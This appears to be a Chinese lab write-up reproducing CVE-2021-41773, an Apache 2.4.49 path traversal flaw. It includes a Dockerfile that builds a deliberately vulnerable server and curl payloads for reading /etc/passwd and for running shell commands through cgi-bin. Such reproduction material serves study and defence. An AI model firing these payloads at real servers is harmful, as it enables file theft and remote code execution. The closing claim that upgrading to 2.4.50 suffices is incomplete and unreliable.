漏洞描述
CVE-2021-41773 漏洞是在 9 月 15 日发布的 2.4.49 版中对路径规范化所做的更改引入到 Apache HTTP Server 中的。此漏洞仅影响具有“require all denied”访问权限控制配置被禁用的Apache HTTP Server 2.4.49 版本。成功的利用将使远程攻击者能够访问易受攻击的 Web 服务器上文档根目录之外的任意文件。根据该公告,该漏洞还可能泄露“CGI 脚本等解释文件的来源”,其中可能包含攻击者可以利用该漏洞进行进一步攻击的敏感信息。
影响版本
Apache 2.4.49 版本
漏洞复现
1、先下载漏洞所需靶场,CVE-2021-41773
2、复制到靶场中,然后修改Dockerfile文件内容。
Dockerfile文件内容
FROM vulhub/httpd:2.4.49
RUN set -ex \
&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
&& cat /usr/local/apache2/conf/httpd.conf \
| tr '\n' '\r' \
| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \
| tr '\r' '\n' \
| tee /tmp/httpd.conf \
&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf
执行编译命令,环境搭建成功。
docker build -t httpd:server .
docker run -d -p 8080:80 httpd:server
3、文件读取&命令执行
文件读取
curl -v --path-as-is http://192.168.22.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
命令执行
curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
漏洞修复
确保Apache HTTP Server更新到最新的版本2.4.50。
参考文章
大佬文章